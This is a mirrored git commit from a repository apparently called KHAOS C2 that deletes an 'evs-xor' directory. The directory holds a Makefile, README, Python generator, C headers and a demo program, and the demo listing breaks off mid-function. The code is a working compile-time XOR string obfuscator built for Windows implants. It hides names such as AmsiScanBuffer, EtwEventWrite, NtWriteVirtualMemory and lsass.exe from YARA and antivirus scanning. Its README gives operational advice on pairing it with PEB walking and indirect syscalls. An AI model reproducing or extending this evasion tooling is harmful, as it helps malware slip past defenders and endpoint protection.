mirror of
https://github.com/28Zaaky/khaos-c2
synced 2026-07-22 12:18:04 +00:00
remove techniques directory
This commit is contained in:
@@ -1,36 +0,0 @@
|
|||||||
CC = x86_64-w64-mingw32-gcc
|
|
||||||
PY = python3
|
|
||||||
CFLAGS = -O2 -Wall -Wextra \
|
|
||||||
-Iinclude \
|
|
||||||
-fno-asynchronous-unwind-tables \
|
|
||||||
-fno-ident \
|
|
||||||
-fno-stack-protector
|
|
||||||
|
|
||||||
SRC = src/evs.c src/demo.c
|
|
||||||
OBJ = $(patsubst src/%.c, build/%.o, $(SRC))
|
|
||||||
TARGET = build/demo.exe
|
|
||||||
HEADER = include/evs_strings.h
|
|
||||||
|
|
||||||
all: $(HEADER) build $(TARGET)
|
|
||||||
|
|
||||||
$(HEADER): strings.txt gen_evs.py
|
|
||||||
$(PY) gen_evs.py strings.txt -o $(HEADER)
|
|
||||||
|
|
||||||
build:
|
|
||||||
mkdir -p build
|
|
||||||
|
|
||||||
build/%.o: src/%.c $(HEADER)
|
|
||||||
$(CC) $(CFLAGS) -c $< -o $@
|
|
||||||
|
|
||||||
$(TARGET): $(OBJ)
|
|
||||||
$(CC) $(CFLAGS) $(OBJ) -o $@
|
|
||||||
|
|
||||||
# Rebuild with a new random key
|
|
||||||
rekey:
|
|
||||||
rm -f $(HEADER)
|
|
||||||
$(MAKE)
|
|
||||||
|
|
||||||
clean:
|
|
||||||
rm -rf build $(HEADER)
|
|
||||||
|
|
||||||
.PHONY: all rekey clean
|
|
||||||
@@ -1,166 +0,0 @@
|
|||||||
# evs-xor
|
|
||||||
|
|
||||||
Compile-time XOR string obfuscation for Windows implants. Prevents API/DLL name strings from appearing in `.rdata`, defeating static YARA rules that match literal API names.
|
|
||||||
|
|
||||||
Extracted from [KHAOS C2](https://github.com/28Zaaky/khaos-c2).
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## The problem
|
|
||||||
|
|
||||||
Any implant that calls `GetProcAddress(ntdll, "NtOpenProcess")` has the string `"NtOpenProcess"` sitting in `.rdata`. A two-line YARA rule catches every implant that uses that API by name. Same for `"AmsiScanBuffer"`, `"EtwEventWrite"`, `"lsass.exe"`, `"SeDebugPrivilege"`, etc.
|
|
||||||
|
|
||||||
```
|
|
||||||
strings build/implant.exe | grep NtOpenProcess
|
|
||||||
→ NtOpenProcess ← instant YARA hit
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## How EVS XOR solves it
|
|
||||||
|
|
||||||
**Build time** (Python generator):
|
|
||||||
|
|
||||||
1. `gen_evs.py` reads your string table (`strings.txt`).
|
|
||||||
2. Picks a random 1-byte XOR key (`secrets.randbelow(256)`, non-zero).
|
|
||||||
3. XOR-encodes each string byte-by-byte.
|
|
||||||
4. Writes `include/evs_strings.h` with static byte arrays + `EVS_KEY` define.
|
|
||||||
|
|
||||||
Key changes on every build → every byte array changes → no static YARA rule survives a rebuild.
|
|
||||||
|
|
||||||
**Runtime** (C decoder):
|
|
||||||
|
|
||||||
```c
|
|
||||||
char buf[16] = {0};
|
|
||||||
EVS_D(buf, EVS_dll_ntdll); // XOR decode "ntdll.dll" into buf at runtime
|
|
||||||
HMODULE h = GetModuleHandleA(buf);
|
|
||||||
SecureZeroMemory(buf, sizeof(buf)); // wipe from stack
|
|
||||||
```
|
|
||||||
|
|
||||||
**Why `noinline`:**
|
|
||||||
|
|
||||||
One hundred `EVS_D()` calls inlined = one hundred short identical XOR loops in `.text`. ML-based AV heuristics flag high density of identical short loops as a packing / shellcode signature. `__attribute__((noinline))` keeps a single function body — one code pattern, not one hundred.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Usage
|
|
||||||
|
|
||||||
### 1. Add strings to `strings.txt`
|
|
||||||
|
|
||||||
```
|
|
||||||
# Format: plaintext_value C_identifier_suffix
|
|
||||||
|
|
||||||
ntdll.dll dll_ntdll
|
|
||||||
NtOpenProcess fn_NtOpenProcess
|
|
||||||
AmsiScanBuffer fn_AmsiScanBuffer
|
|
||||||
lsass.exe str_lsass
|
|
||||||
```
|
|
||||||
|
|
||||||
### 2. Generate header
|
|
||||||
|
|
||||||
```bash
|
|
||||||
python gen_evs.py strings.txt -o include/evs_strings.h
|
|
||||||
# or just: make
|
|
||||||
```
|
|
||||||
|
|
||||||
Output: `include/evs_strings.h` with randomized key + encoded arrays.
|
|
||||||
|
|
||||||
### 3. Include and use
|
|
||||||
|
|
||||||
```c
|
|
||||||
#include "evs.h"
|
|
||||||
#include "evs_strings.h"
|
|
||||||
|
|
||||||
// decode at the call site, use, wipe
|
|
||||||
char dll[16] = {0};
|
|
||||||
EVS_D(dll, EVS_dll_ntdll);
|
|
||||||
HMODULE h = GetModuleHandleA(dll);
|
|
||||||
SecureZeroMemory(dll, sizeof(dll));
|
|
||||||
|
|
||||||
char fn[24] = {0};
|
|
||||||
EVS_D(fn, EVS_fn_NtOpenProcess);
|
|
||||||
FARPROC p = GetProcAddress(h, fn);
|
|
||||||
SecureZeroMemory(fn, sizeof(fn));
|
|
||||||
```
|
|
||||||
|
|
||||||
### Rebuild with new key
|
|
||||||
|
|
||||||
```bash
|
|
||||||
make rekey # deletes evs_strings.h, regenerates with a new random key, rebuilds
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Build
|
|
||||||
|
|
||||||
```bash
|
|
||||||
make
|
|
||||||
./build/demo.exe
|
|
||||||
```
|
|
||||||
|
|
||||||
Expected output:
|
|
||||||
|
|
||||||
```
|
|
||||||
[*] EVS_KEY = 0xCC (random per build — changes every make)
|
|
||||||
|
|
||||||
[*] Encoded arrays in .rodata (no plaintext):
|
|
||||||
EVS_dll_ntdll A2 B8 A8 A0 A0 E2 A8 A0 A0
|
|
||||||
EVS_fn_NtOpenProcess 82 B8 83 BC A9 A2 9C BE A3 AF ...
|
|
||||||
...
|
|
||||||
|
|
||||||
[*] Decoded at runtime:
|
|
||||||
dll: ntdll.dll
|
|
||||||
api: NtOpenProcess
|
|
||||||
api: EtwEventWrite
|
|
||||||
...
|
|
||||||
|
|
||||||
[+] GetModuleHandleA(ntdll.dll) = 0x00007ffe2fc40000
|
|
||||||
[+] GetProcAddress(NtOpenProcess) = 0x00007ffe2fda0510
|
|
||||||
[+] EVS XOR working — no plaintext strings, APIs resolved correctly
|
|
||||||
```
|
|
||||||
|
|
||||||
Verify no plaintext leaks:
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
$b = [IO.File]::ReadAllBytes("build\demo.exe")
|
|
||||||
$t = [Text.Encoding]::Latin1.GetString($b)
|
|
||||||
[regex]::Matches($t,'[!-~]{5,}') | Where Value -match "ntdll|NtOpen|AmsiScan"
|
|
||||||
# → 0 results
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## gen_evs.py options
|
|
||||||
|
|
||||||
```
|
|
||||||
usage: gen_evs.py [strings.txt] [-o header.h] [-k 0xNN]
|
|
||||||
|
|
||||||
positional:
|
|
||||||
strings.txt string table file (default: strings.txt)
|
|
||||||
|
|
||||||
optional:
|
|
||||||
-o PATH output header path (default: include/evs_strings.h)
|
|
||||||
-k 0xNN fixed XOR key — useful for testing; random by default
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Limitations
|
|
||||||
|
|
||||||
- **Single-byte XOR** — simple but sufficient to defeat static string matching. Not cryptographically strong. A determined analyst can brute-force 255 keys in milliseconds. The goal is defeating *static* AV/YARA, not a human analyst.
|
|
||||||
- **Key in binary** — `EVS_KEY` is a literal in the compiled binary. Visible in a hex dump. Sufficient for static scanning evasion; not for obfuscating against reverse engineering.
|
|
||||||
- **`SecureZeroMemory` is advisory** — compiler may optimize it away with LTO. Use `volatile` wipes or `explicit_bzero` in hardened production code.
|
|
||||||
- **Import table still names `KERNEL32.dll`** — any PE that calls `GetProcAddress` will. Replace with a PEB walk to eliminate even that reference.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Operational notes
|
|
||||||
|
|
||||||
- **Stack buffer sizing**: `EVS_D(buf, EVS_foo)` writes `sizeof(EVS_foo) + 1` bytes. Allocate `sizeof(EVS_foo) + 1` minimum.
|
|
||||||
- **Thread safety**: `evs_dec()` is stateless — safe to call from multiple threads.
|
|
||||||
- **Integration with PEB walk**: pair EVS with a PEB module walker to resolve DLLs without any string in the import table or `.rdata`.
|
|
||||||
- **Integration with indirect syscalls**: EVS encodes Nt* function names passed to `sc_ssn()` — no plaintext syscall names appear even in the SSN resolver.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
*Part of [KHAOS C2](https://github.com/28Zaaky/khaos-c2) — by [28Zaaky](https://github.com/28Zaaky)*
|
|
||||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -1,114 +0,0 @@
|
|||||||
#!/usr/bin/env python3
|
|
||||||
"""
|
|
||||||
gen_evs.py — compile-time XOR string obfuscator for Windows implants.
|
|
||||||
|
|
||||||
Reads a two-column string table, encodes each string with a per-build
|
|
||||||
random XOR key, and writes a C header with static byte arrays.
|
|
||||||
|
|
||||||
Usage:
|
|
||||||
python gen_evs.py [strings.txt] [-o include/evs_strings.h] [-k 0xNN]
|
|
||||||
|
|
||||||
String table format:
|
|
||||||
plaintext_string C_identifier_suffix
|
|
||||||
# comment lines and blank lines are ignored
|
|
||||||
|
|
||||||
Output:
|
|
||||||
C header with EVS_KEY define, EVS_<suffix>[] arrays, and EVS_D() macro.
|
|
||||||
|
|
||||||
Extracted from KHAOS C2 — https://github.com/28Zaaky/khaos-c2
|
|
||||||
"""
|
|
||||||
import os
|
|
||||||
import sys
|
|
||||||
import secrets
|
|
||||||
import argparse
|
|
||||||
|
|
||||||
|
|
||||||
def encode(plaintext: str, key: int) -> list:
|
|
||||||
return [b ^ key for b in plaintext.encode("latin-1")]
|
|
||||||
|
|
||||||
|
|
||||||
def load_strings(path: str) -> list:
|
|
||||||
pairs = []
|
|
||||||
with open(path) as f:
|
|
||||||
for line in f:
|
|
||||||
line = line.strip()
|
|
||||||
if not line or line.startswith("#"):
|
|
||||||
continue
|
|
||||||
parts = line.split()
|
|
||||||
if len(parts) < 2:
|
|
||||||
sys.exit(f"bad line in {path!r}: {line!r} (expected: plaintext identifier)")
|
|
||||||
pairs.append((parts[0], parts[1]))
|
|
||||||
return pairs
|
|
||||||
|
|
||||||
|
|
||||||
def main():
|
|
||||||
ap = argparse.ArgumentParser(description=__doc__,
|
|
||||||
formatter_class=argparse.RawDescriptionHelpFormatter)
|
|
||||||
ap.add_argument("strings", nargs="?", default="strings.txt",
|
|
||||||
help="string table file (default: strings.txt)")
|
|
||||||
ap.add_argument("-o", default="include/evs_strings.h",
|
|
||||||
help="output header path (default: include/evs_strings.h)")
|
|
||||||
ap.add_argument("-k", default=None, metavar="0xNN",
|
|
||||||
help="fixed XOR key in hex (default: random per run)")
|
|
||||||
args = ap.parse_args()
|
|
||||||
|
|
||||||
if args.k:
|
|
||||||
key = int(args.k, 16) & 0xFF
|
|
||||||
if key == 0:
|
|
||||||
sys.exit("key 0x00 is the XOR identity — use a non-zero value")
|
|
||||||
else:
|
|
||||||
key = secrets.randbelow(256)
|
|
||||||
while key == 0:
|
|
||||||
key = secrets.randbelow(256)
|
|
||||||
|
|
||||||
pairs = load_strings(args.strings)
|
|
||||||
|
|
||||||
lines = [
|
|
||||||
"/* AUTO-GENERATED by gen_evs.py — do not edit.",
|
|
||||||
" * EVS_KEY is randomised every build; all byte arrays change.",
|
|
||||||
" * Defeats static YARA rules that match encoded API/DLL names.",
|
|
||||||
" */",
|
|
||||||
"#ifndef EVS_STRINGS_H",
|
|
||||||
"#define EVS_STRINGS_H",
|
|
||||||
"",
|
|
||||||
f"#define EVS_KEY 0x{key:02x}u",
|
|
||||||
"",
|
|
||||||
]
|
|
||||||
|
|
||||||
for plaintext, suffix in pairs:
|
|
||||||
enc = encode(plaintext, key)
|
|
||||||
arr = ", ".join(f"0x{b:02x}" for b in enc)
|
|
||||||
lines.append(
|
|
||||||
f"static const unsigned char EVS_{suffix}[{len(enc)}]"
|
|
||||||
f" = {{ {arr} }}; /* {plaintext} */"
|
|
||||||
)
|
|
||||||
|
|
||||||
lines += [
|
|
||||||
"",
|
|
||||||
"/* Runtime XOR decoder — defined in src/evs.c.",
|
|
||||||
" * noinline: one code pattern in .text, not N inline XOR loops.",
|
|
||||||
" * ML-based AV heuristics flag many identical short loops;",
|
|
||||||
" * a single called function does not match that signature. */",
|
|
||||||
"#ifndef EVS_DEC_DECL",
|
|
||||||
"#define EVS_DEC_DECL",
|
|
||||||
"#include <stddef.h>",
|
|
||||||
"extern void evs_dec(char *out, const unsigned char *enc, size_t n);",
|
|
||||||
"#define EVS_D(out, arr) evs_dec((out), (arr), sizeof(arr))",
|
|
||||||
"#endif",
|
|
||||||
"",
|
|
||||||
"#endif /* EVS_STRINGS_H */",
|
|
||||||
"",
|
|
||||||
]
|
|
||||||
|
|
||||||
out_dir = os.path.dirname(args.o)
|
|
||||||
if out_dir:
|
|
||||||
os.makedirs(out_dir, exist_ok=True)
|
|
||||||
|
|
||||||
with open(args.o, "w") as f:
|
|
||||||
f.write("\n".join(lines))
|
|
||||||
|
|
||||||
print(f"[ok] {args.o} key=0x{key:02x} {len(pairs)} strings encoded")
|
|
||||||
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
|
||||||
main()
|
|
||||||
@@ -1,35 +0,0 @@
|
|||||||
#pragma once
|
|
||||||
#include <stddef.h>
|
|
||||||
|
|
||||||
/*
|
|
||||||
* EVS XOR — compile-time string obfuscation for Windows implants.
|
|
||||||
*
|
|
||||||
* Problem: strings like "ntdll.dll", "NtOpenProcess", "AmsiScanBuffer" in
|
|
||||||
* .rdata are direct YARA match targets — one rule catches every implant that
|
|
||||||
* touches these APIs by name.
|
|
||||||
*
|
|
||||||
* Solution: encode strings at compile time with a random per-build XOR key.
|
|
||||||
* No plaintext appears in .rdata. Key changes every build → static YARA fails.
|
|
||||||
*
|
|
||||||
* Workflow:
|
|
||||||
* 1. Add strings to strings.txt
|
|
||||||
* 2. Run: python gen_evs.py (auto-called by `make`)
|
|
||||||
* 3. #include "evs_strings.h" in files that need string decoding
|
|
||||||
* 4. Decode at runtime, use, then wipe:
|
|
||||||
*
|
|
||||||
* char buf[16] = {0};
|
|
||||||
* EVS_D(buf, EVS_dll_ntdll);
|
|
||||||
* HMODULE h = GetModuleHandleA(buf);
|
|
||||||
* SecureZeroMemory(buf, sizeof(buf));
|
|
||||||
*
|
|
||||||
* Runtime cost: one small XOR loop per decode call.
|
|
||||||
* Stack buffers for decoded strings are caller-managed.
|
|
||||||
*/
|
|
||||||
|
|
||||||
/* Runtime decoder (defined in src/evs.c).
|
|
||||||
* __attribute__((noinline)) in the .c ensures one code pattern, not N copies. */
|
|
||||||
void evs_dec(char *out, const unsigned char *enc, size_t n);
|
|
||||||
|
|
||||||
/* Decode EVS_<name> array into caller-provided buffer.
|
|
||||||
* Buffer must be at least sizeof(EVS_<name>) + 1 bytes (evs_dec appends NUL). */
|
|
||||||
#define EVS_D(out, arr) evs_dec((out), (arr), sizeof(arr))
|
|
||||||
@@ -1,52 +0,0 @@
|
|||||||
/* AUTO-GENERATED by gen_evs.py — do not edit.
|
|
||||||
* EVS_KEY is randomised every build; all byte arrays change.
|
|
||||||
* Defeats static YARA rules that match encoded API/DLL names.
|
|
||||||
*/
|
|
||||||
#ifndef EVS_STRINGS_H
|
|
||||||
#define EVS_STRINGS_H
|
|
||||||
|
|
||||||
#define EVS_KEY 0xccu
|
|
||||||
|
|
||||||
static const unsigned char EVS_dll_ntdll[9] = { 0xa2, 0xb8, 0xa8, 0xa0, 0xa0, 0xe2, 0xa8, 0xa0, 0xa0 }; /* ntdll.dll */
|
|
||||||
static const unsigned char EVS_dll_kernel32[12] = { 0xa7, 0xa9, 0xbe, 0xa2, 0xa9, 0xa0, 0xff, 0xfe, 0xe2, 0xa8, 0xa0, 0xa0 }; /* kernel32.dll */
|
|
||||||
static const unsigned char EVS_dll_kernelbase[14] = { 0x87, 0xa9, 0xbe, 0xa2, 0xa9, 0xa0, 0x8e, 0xad, 0xbf, 0xa9, 0xe2, 0xa8, 0xa0, 0xa0 }; /* KernelBase.dll */
|
|
||||||
static const unsigned char EVS_dll_advapi32[12] = { 0xad, 0xa8, 0xba, 0xad, 0xbc, 0xa5, 0xff, 0xfe, 0xe2, 0xa8, 0xa0, 0xa0 }; /* advapi32.dll */
|
|
||||||
static const unsigned char EVS_dll_amsi[8] = { 0xad, 0xa1, 0xbf, 0xa5, 0xe2, 0xa8, 0xa0, 0xa0 }; /* amsi.dll */
|
|
||||||
static const unsigned char EVS_fn_NtOpenProcess[13] = { 0x82, 0xb8, 0x83, 0xbc, 0xa9, 0xa2, 0x9c, 0xbe, 0xa3, 0xaf, 0xa9, 0xbf, 0xbf }; /* NtOpenProcess */
|
|
||||||
static const unsigned char EVS_fn_NtAllocateVirtualMemory[23] = { 0x82, 0xb8, 0x8d, 0xa0, 0xa0, 0xa3, 0xaf, 0xad, 0xb8, 0xa9, 0x9a, 0xa5, 0xbe, 0xb8, 0xb9, 0xad, 0xa0, 0x81, 0xa9, 0xa1, 0xa3, 0xbe, 0xb5 }; /* NtAllocateVirtualMemory */
|
|
||||||
static const unsigned char EVS_fn_NtWriteVirtualMemory[20] = { 0x82, 0xb8, 0x9b, 0xbe, 0xa5, 0xb8, 0xa9, 0x9a, 0xa5, 0xbe, 0xb8, 0xb9, 0xad, 0xa0, 0x81, 0xa9, 0xa1, 0xa3, 0xbe, 0xb5 }; /* NtWriteVirtualMemory */
|
|
||||||
static const unsigned char EVS_fn_NtProtectVirtualMemory[22] = { 0x82, 0xb8, 0x9c, 0xbe, 0xa3, 0xb8, 0xa9, 0xaf, 0xb8, 0x9a, 0xa5, 0xbe, 0xb8, 0xb9, 0xad, 0xa0, 0x81, 0xa9, 0xa1, 0xa3, 0xbe, 0xb5 }; /* NtProtectVirtualMemory */
|
|
||||||
static const unsigned char EVS_fn_NtFreeVirtualMemory[19] = { 0x82, 0xb8, 0x8a, 0xbe, 0xa9, 0xa9, 0x9a, 0xa5, 0xbe, 0xb8, 0xb9, 0xad, 0xa0, 0x81, 0xa9, 0xa1, 0xa3, 0xbe, 0xb5 }; /* NtFreeVirtualMemory */
|
|
||||||
static const unsigned char EVS_fn_NtCreateThreadEx[16] = { 0x82, 0xb8, 0x8f, 0xbe, 0xa9, 0xad, 0xb8, 0xa9, 0x98, 0xa4, 0xbe, 0xa9, 0xad, 0xa8, 0x89, 0xb4 }; /* NtCreateThreadEx */
|
|
||||||
static const unsigned char EVS_fn_NtClose[7] = { 0x82, 0xb8, 0x8f, 0xa0, 0xa3, 0xbf, 0xa9 }; /* NtClose */
|
|
||||||
static const unsigned char EVS_fn_NtReadVirtualMemory[19] = { 0x82, 0xb8, 0x9e, 0xa9, 0xad, 0xa8, 0x9a, 0xa5, 0xbe, 0xb8, 0xb9, 0xad, 0xa0, 0x81, 0xa9, 0xa1, 0xa3, 0xbe, 0xb5 }; /* NtReadVirtualMemory */
|
|
||||||
static const unsigned char EVS_fn_NtContinue[10] = { 0x82, 0xb8, 0x8f, 0xa3, 0xa2, 0xb8, 0xa5, 0xa2, 0xb9, 0xa9 }; /* NtContinue */
|
|
||||||
static const unsigned char EVS_fn_NtWaitForSingleObject[21] = { 0x82, 0xb8, 0x9b, 0xad, 0xa5, 0xb8, 0x8a, 0xa3, 0xbe, 0x9f, 0xa5, 0xa2, 0xab, 0xa0, 0xa9, 0x83, 0xae, 0xa6, 0xa9, 0xaf, 0xb8 }; /* NtWaitForSingleObject */
|
|
||||||
static const unsigned char EVS_fn_NtPVM[22] = { 0x82, 0xb8, 0x9c, 0xbe, 0xa3, 0xb8, 0xa9, 0xaf, 0xb8, 0x9a, 0xa5, 0xbe, 0xb8, 0xb9, 0xad, 0xa0, 0x81, 0xa9, 0xa1, 0xa3, 0xbe, 0xb5 }; /* NtProtectVirtualMemory */
|
|
||||||
static const unsigned char EVS_fn_RtlCaptureContext[17] = { 0x9e, 0xb8, 0xa0, 0x8f, 0xad, 0xbc, 0xb8, 0xb9, 0xbe, 0xa9, 0x8f, 0xa3, 0xa2, 0xb8, 0xa9, 0xb4, 0xb8 }; /* RtlCaptureContext */
|
|
||||||
static const unsigned char EVS_fn_RtlUserThreadStart[18] = { 0x9e, 0xb8, 0xa0, 0x99, 0xbf, 0xa9, 0xbe, 0x98, 0xa4, 0xbe, 0xa9, 0xad, 0xa8, 0x9f, 0xb8, 0xad, 0xbe, 0xb8 }; /* RtlUserThreadStart */
|
|
||||||
static const unsigned char EVS_fn_EtwEventWrite[13] = { 0x89, 0xb8, 0xbb, 0x89, 0xba, 0xa9, 0xa2, 0xb8, 0x9b, 0xbe, 0xa5, 0xb8, 0xa9 }; /* EtwEventWrite */
|
|
||||||
static const unsigned char EVS_fn_EtwTiLogOpenProcess[19] = { 0x89, 0xb8, 0xbb, 0x98, 0xa5, 0x80, 0xa3, 0xab, 0x83, 0xbc, 0xa9, 0xa2, 0x9c, 0xbe, 0xa3, 0xaf, 0xa9, 0xbf, 0xbf }; /* EtwTiLogOpenProcess */
|
|
||||||
static const unsigned char EVS_fn_EtwTiLogReadWriteVm[19] = { 0x89, 0xb8, 0xbb, 0x98, 0xa5, 0x80, 0xa3, 0xab, 0x9e, 0xa9, 0xad, 0xa8, 0x9b, 0xbe, 0xa5, 0xb8, 0xa9, 0x9a, 0xa1 }; /* EtwTiLogReadWriteVm */
|
|
||||||
static const unsigned char EVS_fn_EtwTiLogDuplicateHandle[23] = { 0x89, 0xb8, 0xbb, 0x98, 0xa5, 0x80, 0xa3, 0xab, 0x88, 0xb9, 0xbc, 0xa0, 0xa5, 0xaf, 0xad, 0xb8, 0xa9, 0x84, 0xad, 0xa2, 0xa8, 0xa0, 0xa9 }; /* EtwTiLogDuplicateHandle */
|
|
||||||
static const unsigned char EVS_fn_AmsiScanBuffer[14] = { 0x8d, 0xa1, 0xbf, 0xa5, 0x9f, 0xaf, 0xad, 0xa2, 0x8e, 0xb9, 0xaa, 0xaa, 0xa9, 0xbe }; /* AmsiScanBuffer */
|
|
||||||
static const unsigned char EVS_fn_AmsiScanString[14] = { 0x8d, 0xa1, 0xbf, 0xa5, 0x9f, 0xaf, 0xad, 0xa2, 0x9f, 0xb8, 0xbe, 0xa5, 0xa2, 0xab }; /* AmsiScanString */
|
|
||||||
static const unsigned char EVS_str_svchost[11] = { 0xbf, 0xba, 0xaf, 0xa4, 0xa3, 0xbf, 0xb8, 0xe2, 0xa9, 0xb4, 0xa9 }; /* svchost.exe */
|
|
||||||
static const unsigned char EVS_str_explorer[12] = { 0xa9, 0xb4, 0xbc, 0xa0, 0xa3, 0xbe, 0xa9, 0xbe, 0xe2, 0xa9, 0xb4, 0xa9 }; /* explorer.exe */
|
|
||||||
static const unsigned char EVS_str_lsass[9] = { 0xa0, 0xbf, 0xad, 0xbf, 0xbf, 0xe2, 0xa9, 0xb4, 0xa9 }; /* lsass.exe */
|
|
||||||
static const unsigned char EVS_str_RuntimeBroker[17] = { 0x9e, 0xb9, 0xa2, 0xb8, 0xa5, 0xa1, 0xa9, 0x8e, 0xbe, 0xa3, 0xa7, 0xa9, 0xbe, 0xe2, 0xa9, 0xb4, 0xa9 }; /* RuntimeBroker.exe */
|
|
||||||
static const unsigned char EVS_str_SeDebugPrivilege[16] = { 0x9f, 0xa9, 0x88, 0xa9, 0xae, 0xb9, 0xab, 0x9c, 0xbe, 0xa5, 0xba, 0xa5, 0xa0, 0xa9, 0xab, 0xa9 }; /* SeDebugPrivilege */
|
|
||||||
static const unsigned char EVS_str_SeImpersonatePrivilege[22] = { 0x9f, 0xa9, 0x85, 0xa1, 0xbc, 0xa9, 0xbe, 0xbf, 0xa3, 0xa2, 0xad, 0xb8, 0xa9, 0x9c, 0xbe, 0xa5, 0xba, 0xa5, 0xa0, 0xa9, 0xab, 0xa9 }; /* SeImpersonatePrivilege */
|
|
||||||
|
|
||||||
/* Runtime XOR decoder — defined in src/evs.c.
|
|
||||||
* noinline: one code pattern in .text, not N inline XOR loops.
|
|
||||||
* ML-based AV heuristics flag many identical short loops;
|
|
||||||
* a single called function does not match that signature. */
|
|
||||||
#ifndef EVS_DEC_DECL
|
|
||||||
#define EVS_DEC_DECL
|
|
||||||
#include <stddef.h>
|
|
||||||
extern void evs_dec(char *out, const unsigned char *enc, size_t n);
|
|
||||||
#define EVS_D(out, arr) evs_dec((out), (arr), sizeof(arr))
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#endif /* EVS_STRINGS_H */
|
|
||||||
@@ -1,109 +0,0 @@
|
|||||||
#include "evs.h"
|
|
||||||
#include "evs_strings.h"
|
|
||||||
#include <windows.h>
|
|
||||||
#include <stdio.h>
|
|
||||||
#include <string.h>
|
|
||||||
|
|
||||||
/*
|
|
||||||
* Demo:
|
|
||||||
* 1. Show that encoded arrays contain no plaintext bytes (strings tool finds nothing).
|
|
||||||
* 2. Decode at runtime via EVS_D().
|
|
||||||
* 3. Resolve real APIs using decoded names — no plaintext string ever in .rdata.
|
|
||||||
* 4. Wipe decoded buffers with SecureZeroMemory after use.
|
|
||||||
*
|
|
||||||
* Verify no plaintext leaks:
|
|
||||||
* strings build/demo.exe | grep -iE "ntdll|NtOpen|AmsiScan"
|
|
||||||
* → no results expected
|
|
||||||
*/
|
|
||||||
|
|
||||||
static void print_hex(const char *label, const unsigned char *arr, size_t n)
|
|
||||||
{
|
|
||||||
printf(" %-28s ", label);
|
|
||||||
for (size_t i = 0; i < n && i < 10; i++)
|
|
||||||
printf("%02X ", arr[i]);
|
|
||||||
if (n > 10) printf("...");
|
|
||||||
printf("\n");
|
|
||||||
}
|
|
||||||
|
|
||||||
int main(void)
|
|
||||||
{
|
|
||||||
printf("[*] EVS_KEY = 0x%02X (random per build — changes every make)\n\n", EVS_KEY);
|
|
||||||
|
|
||||||
/* --- Show raw encoded bytes: no plaintext recognizable --- */
|
|
||||||
printf("[*] Encoded arrays in .rodata (no plaintext):\n");
|
|
||||||
print_hex("EVS_dll_ntdll", EVS_dll_ntdll, sizeof(EVS_dll_ntdll));
|
|
||||||
print_hex("EVS_fn_NtOpenProcess", EVS_fn_NtOpenProcess, sizeof(EVS_fn_NtOpenProcess));
|
|
||||||
print_hex("EVS_fn_AmsiScanBuffer",EVS_fn_AmsiScanBuffer,sizeof(EVS_fn_AmsiScanBuffer));
|
|
||||||
print_hex("EVS_fn_EtwEventWrite", EVS_fn_EtwEventWrite, sizeof(EVS_fn_EtwEventWrite));
|
|
||||||
print_hex("EVS_str_lsass", EVS_str_lsass, sizeof(EVS_str_lsass));
|
|
||||||
|
|
||||||
/* --- Decode at runtime --- */
|
|
||||||
printf("\n[*] Decoded at runtime:\n");
|
|
||||||
|
|
||||||
char dll_ntdll[16] = {0};
|
|
||||||
char dll_kernel32[16] = {0};
|
|
||||||
char dll_amsi[16] = {0};
|
|
||||||
char fn_NtOpen[24] = {0};
|
|
||||||
char fn_NtProt[28] = {0};
|
|
||||||
char fn_EtwW[20] = {0};
|
|
||||||
char fn_AmsiScan[20] = {0};
|
|
||||||
char str_svchost[16] = {0};
|
|
||||||
char str_lsass[16] = {0};
|
|
||||||
char str_sedbg[24] = {0};
|
|
||||||
|
|
||||||
EVS_D(dll_ntdll, EVS_dll_ntdll);
|
|
||||||
EVS_D(dll_kernel32, EVS_dll_kernel32);
|
|
||||||
EVS_D(dll_amsi, EVS_dll_amsi);
|
|
||||||
EVS_D(fn_NtOpen, EVS_fn_NtOpenProcess);
|
|
||||||
EVS_D(fn_NtProt, EVS_fn_NtProtectVirtualMemory);
|
|
||||||
EVS_D(fn_EtwW, EVS_fn_EtwEventWrite);
|
|
||||||
EVS_D(fn_AmsiScan, EVS_fn_AmsiScanBuffer);
|
|
||||||
EVS_D(str_svchost, EVS_str_svchost);
|
|
||||||
EVS_D(str_lsass, EVS_str_lsass);
|
|
||||||
EVS_D(str_sedbg, EVS_str_SeDebugPrivilege);
|
|
||||||
|
|
||||||
printf(" dll: %s\n", dll_ntdll);
|
|
||||||
printf(" dll: %s\n", dll_kernel32);
|
|
||||||
printf(" dll: %s\n", dll_amsi);
|
|
||||||
printf(" api: %s\n", fn_NtOpen);
|
|
||||||
printf(" api: %s\n", fn_NtProt);
|
|
||||||
printf(" api: %s\n", fn_EtwW);
|
|
||||||
printf(" api: %s\n", fn_AmsiScan);
|
|
||||||
printf(" process: %s\n", str_svchost);
|
|
||||||
printf(" process: %s\n", str_lsass);
|
|
||||||
printf(" privilege: %s\n", str_sedbg);
|
|
||||||
|
|
||||||
/* --- Functional test: resolve real API via decoded name --- */
|
|
||||||
printf("\n[*] API resolution via decoded names (no plaintext in IAT/rdata):\n");
|
|
||||||
|
|
||||||
HMODULE hntdll = GetModuleHandleA(dll_ntdll);
|
|
||||||
FARPROC fn_ntopen = hntdll ? GetProcAddress(hntdll, fn_NtOpen) : NULL;
|
|
||||||
FARPROC fn_ntprot = hntdll ? GetProcAddress(hntdll, fn_NtProt) : NULL;
|
|
||||||
FARPROC fn_etw = hntdll ? GetProcAddress(hntdll, fn_EtwW) : NULL;
|
|
||||||
|
|
||||||
printf(" [%c] GetModuleHandleA(%s) = %p\n",
|
|
||||||
hntdll ? '+' : '!', dll_ntdll, (void *)hntdll);
|
|
||||||
printf(" [%c] GetProcAddress(%s) = %p\n",
|
|
||||||
fn_ntopen ? '+' : '!', fn_NtOpen, (void *)fn_ntopen);
|
|
||||||
printf(" [%c] GetProcAddress(%s) = %p\n",
|
|
||||||
fn_ntprot ? '+' : '!', fn_NtProt, (void *)fn_ntprot);
|
|
